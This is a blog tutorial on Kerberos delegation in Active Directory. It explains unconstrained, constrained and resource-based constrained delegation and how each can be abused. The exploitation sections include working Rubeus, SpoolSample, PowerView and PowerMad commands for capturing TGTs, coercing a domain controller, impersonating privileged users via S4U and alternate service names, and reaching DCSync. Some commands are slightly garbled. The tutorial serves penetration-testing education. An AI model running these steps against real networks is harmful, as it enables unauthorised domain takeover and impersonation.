Kerberos Delegation

Gustav Shen
9 min readAug 29, 2022

--

Hey friends, it is the 3rd article in my Active Directory Theory and Exploitation series. Today, I would like to talk about 3 types of delegation. Kerberos delegation resolved Double Hop problem, however, an attacker can also abuse delegation to gain remote code execution and move to other machines. Concepts of delegation could be complex, but I will try my best to make it simple and easy to understand!

Unconstrained Delegation

Kerberos delegation enables a user or service to act on behalf of another user to another service. A typical scenario is that, a user authenticates to IIS server, and then IIS server acts on behalf of the user to authenticate to MSSQL server.

Unconstrained delegation can be assigned to a computer or user, but mostly computer. The configuration can be done on the domain controller. From the perspective of a system administrator, we can select “Trust this computer for delegation to any service (Kerberos only)” option on Delegation tab to configure unconstrained delegation for a domain computer.

We mentioned delegation resolved double-hop problem, so how did unconstrained delegation resolved it? If a computer is configured unconstrained delegation, as the user accesses IIS server, the KDC also includes the user’s TGT to TGS ticket. Then, IIS server extracts user’s TGT and caches it in memory. After that, IIS server uses the user’s TGT to act on behalf of the user to access MSSQL server. But the issue is that since the user’s TGT is cached in IIS server’s memory, IIS server can use the user’s TGT to act on behalf of the user to any other service, which means the user is impersonated by IIS server. If IIS server is compromised, the attacker can extract all TGT from memory and impersonate these users. What’s worse, if a high-privileged user’s TGT is cached, such as a domain administrator’s, the attacker is able to take over the whole domain and forest.

Let’s explain the steps in details

Ref: https://www.pentesteracademy.com/video?id=1596

Step 1: User to DC

The user requests TGT.

Step 2: DC to user

The user gets TGT.

Step 3: User to DC

The user requests TGS ticket.

Step 4: DC to user

The user gets TGS ticket.

Step 5: User to IIS server

User sends TGT and TGS ticket.

Step 6: IIS serverto DC

IIS server uses user’s TGT to request TGS ticket to DC to access MSSQL server.

Step 7: IIS serverto MSSQL server

IIS server acts on behalf of the user to access MSSQL server.

Enumeration

Powerview: Get-NetComputer -Unconstrained | select dnshostname

Domain controller is always configured unconstrained delegation, but it does not help.

Exploitation

1: Compromise the machine which is configured unconstrained delegation.

2: Use rubeus to monitor cached TGTs in real time (Require local administrator privilege).

rubeus.exe monitor /interval:5 /nowrap

3: Wait for high-privilege users to access this machine’s services, such as smb share. Or we can use spoolsample to coerce a machine to this machine via the MS-RPRN RPC interface.

spoolsample.exe dc srv02

We can execute the command on any windows domain machine.

4: Save captured TGT as a kirbi file

5: Import the ticket to current session

6: Access internal resource, such as \\dc\c$. In this case, we got dc machine account’s TGT, machine account does not has local admin privilege, though there is a workaround to give us SYSTEM privilege (mentioned later). Since it is the domain controller, we can use DCSync permission to get domain administrator’s hash to pwn the domain!

Constrained Delegation

Compared to unconstrained delegation, constrained delegation is more secure, because the server no longer cache user’s TGT. Intead, the server is allowed to request a TGS ticket for the user with its own TGT, and the server can only act on behalf of the user to access specified server(s) and service(s). For example, the IIS server can only act on behalf of the user to access cifs and eventsystem service on machine client01.

From the perspective of a system administrator, constrained delegation can be configured like this, “Trust this computer for delegation to specified services only” option is selected. It has 2 sub options, and we noticy that “Use any authentication protocol” is selected, what will happen if we select “Use Kerberos only”? I will explain it later. Apart from machine, service account can be configured constrained delegation as well.

In this case, apart from cifs service on machine client01, service eventsystem on machine client01 is specified as well. But it does not look exciting, but no worries! Though the service is specified, but we can use alternate service name trick to bypass it, since service name will not be verified by S4U and it is not encrypted in a ticket.

So, let’s go through the whole process of constrained delegation.

Ref: https://www.pentesteracademy.com/video?id=1597

Step 1: User to IIS Server

The user authenticates to IIS server via NTLM authentication, as long as the authentication is not Kerberos.

Step 2: IIS Server to DC

IIS server ultilizes S4U2Self to request TGS ticket for the user to access itself (IIS Server)

Step 3: DC to IIS Server

KDC returns forwardable TGS ticket to IIS server

Step 4: IIS Server to DC

IIS Server ultilizes S4U2Proxy to request TGS ticket for the user to access SQL server

Step 5: DC to IIS Server

KDC returns TGS ticket to IIS server

Step 6: IIS Server to SQL Server

IIS server acts on behalf of the user to access SQL service with the forwardable TGS ticket.

Enumeration

Powerview: Get-NetComputer -TrustedToAuth

(Service Account) Get-NetUser -TrustedToAuth

Exploitation

1: Compromise the machine or user which is configured constrained delegation.

2: Request TGT for target machine or service account.

Scenario 1: We already had local admin privilege, or we know credentials of them.

rubeus.exe asktgt /user:srv-1$ /aes256:[…] /nowrap

Scenario 2: We do not have local admin privilege and we do not know credentials of them.

rubeus.exe tgtdeleg /nowrap

3: Save the TGT as a file

On Kali: echo ‘<..ticket..>’ | base64 -d > xxx.kirbi

On Windows: [System.IO.File]::WriteAllBytes(“C:\windows\temp\xxx.kirbi”,[System.Convert]::FromBase64String(“<..ticket..>”))

4: Impersonate a privileged user and request a TGS ticket to access CIFS service on target machine. For example, the privileged user can be local administrator of target machine, sometimes we can even impersonate the domain admin. But be aware that domain user can be configured as cannot be delegated. I mentioned that the service name will not be verified, so even target service is eventsystem, we can modify it as cifs service.

The command should be rubeus.exe /impersonateuser:<high privileged user>/msdsspn:<service>/<fqdn>/user:<user> /ticket:srv01.kirbi /altservice:cifs /nowrap /ptt

5: The ticket is imported to memory, so we can access C$ on client01.

Resource-Based Constrained Delegation

Considering configuring constrained delegation requires SeEnableDelegationPrivielge privilege on the domain controller, which means typically only domain admin can configure it. However, configuring Resource-Based Constrained Delegation (RBCD) does not require it, the system administrator can configure RBCD for the machine. Which means, the resource itself can decide to trust who.

To configure constrained delegation, the IIS server is configured msDs-AllowedToDelegateTo property. RBCD works by adding msDS-AllowedToActOnBehalfOfOtherIdentity property on MSSQL server. The property should be IIS server’s SID.

There is the requirement for configuring RBCD. The front end service(In this case, it is IIS server) should have SPN, because the front end service need to request TGS ticket for the user to access itself in S4U2Self process. If the front end service is not a machine account or service account, it does not make sense

Enumeration

If owned user or machines have GenetricWrite (Or higher permission) permission over another machine.

Exploitation

1: Create a new machine account. If you already had SYSTEM privilege over owned machines, that’s fine as well.

Import PowerMad.ps1 script tool.

New-MachineAccount -MachineAccount rbcd -Password $(ConvertTo-SecureString ‘123123’) -AsPlainText -Force)

2: Add AllowedToActOnBehalfOfOtherIdentity property to machine SRV01 (Back end service), the value should be client01’s (Front end service) SID.

Import Active Directory module

Set-ADComputer [back end server] -PrincipalsAllowedToDelegateToAccount -Server [DC IP] -Verbose

3: Similar to the step in constrained delegation section. Ultilize S4U to impersonate a high privileged user to get TGS ticket to access back end server’s resource. But first, we need to know hashed password of added computer account.

rubeus.exe hash /domain:<domain> /user:rbcd$ /password:<password>

Then abuse S4U, and access resources on back end server.

rubeus.exe s4u /user:rbcd$ /aes256:<…> /impersonateuser:<high privileged user> /msdsspn:<service>/<fqdn> /altservice:http,host,cifs /ptt

S4U

We talked something about S4U2Self and S4U2Proxy in constrained delegation and RBCD sections. You may feel confused about them, no worries, I will explain them to you.

S4U2Self

It acts on behalf of the user to request a TGS ticket to access front end server.

Abuse of S4U2Self

Machine account does not have local admin privilege over itself. For example, we could capture a machine account’s TGT, but we cannot directly move to the machine with local admin privilege. Actually there is a workaround, you can check this article: https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/. ZeroPoint Security’s course RTO also stated a method, we can use tool Asn1Editor to modify the TGS returned after S4U2Self, replace all occurence of machine account to cifs and the fqdn. For example, replace srv01$ to cifs and srv01.blackops.local. But the theory behind these two methods are the same, the service name will not be verified and it is unencrypted.

S4U2Proxy

It acts on behalf of the user to request a TGS ticket to access back end service.

So why “Use Kerberos only” is not selected? If it is selected, Kerberos is used for authentication to the front end service (IIS Server), S4U2Proxy can use a forwardable TGS ticket supplied by the user. By this way, we require user interaction to steal user’s TGS ticket.

Comparison

Unconstrained Delegation: The frond end server is configured unconstrained delegation, it acts on behalf of the authenticated user to request access to any resource in the domain.

Constrained Delegation: The msDS-AllowedToDelegateTo property of front end server is configured back end server’s SPN. Front end server uses its identity (TGT) to act on behalf of the authenticated user to request access to specified service(s) on specified back end server(s). The mode is A trusts B.

Resource-Based Constrained Delegation: The msDS-AllowedToActOnBehalfOfOtherIdentity property of back end server is configured frond end server’s SID. Which means, the back end server allows front end server to act on behalf of other users to access resources of itself. The mode is B trusts A.

Thanks for reading, I hope it help! If any update or correction is required, I will directly edit it. Happy hacking!

--

--